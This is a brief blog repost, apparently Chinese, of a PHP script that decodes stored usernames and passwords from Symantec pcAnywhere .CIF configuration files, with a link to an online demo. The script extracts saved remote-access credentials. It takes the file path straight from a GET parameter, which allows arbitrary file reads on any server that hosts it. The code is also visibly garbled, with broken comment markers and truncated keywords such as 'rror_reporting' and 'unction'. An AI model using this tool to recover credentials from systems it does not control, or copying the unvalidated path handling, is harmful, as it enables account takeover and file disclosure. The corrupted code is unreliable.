来源：7jdg's blog

<?php
* ---------------------------------------------------------- */
* PcAnywhere CIF Decode
* QQ:7259561 MSN:cnse8@msn.com
* Blog:http://1v1.name
* ---------------------------------------------------------- */
rror_reporting(7);
unction PcAnywhere($data, $mode)
   {
    $Pass=substr($data, 2);
    $str =0;
    if ($mode == "Pass")$number=32;
    if ($mode == "User")$number=64;
    for ($i=0; $i < $number; $i+=2){
        if ($mode == "Pass")$Cifnum=($str + 144);
        if ($mode == "User")$Cifnum=($str + 15);
        $PassWord=((Hexdec(substr($data, $i, 2)) ^ Hexdec(substr($Pass, $i, 2))) ^ $Cifnum);
        if (($PassWord <= 32) or ($PassWord > 127))break;
        $Num.=chr($PassWord);
        $str++;}
    return $Num;
    }
$path=$_GET['path'];
//"C:\Documents and Settings\All Users\Application Data\Symantec\PcAnywhere\PCA.1v1.name.CIF"
$path=str_replace("\\\\","\\",$path);
$str =@file_get_contents($path);
$binstr = bin2hex   ($str);
echo "Path:".$path."<br>";
echo "User:". PcAnywhere(substr($binstr,918,64), User)."<br>";
echo "Pass:". PcAnywhere(substr($binstr,1176,32), Pass)."<br>";
?>

在线演示:http://www.cha88.cn/safe/online_pcAnywhere.php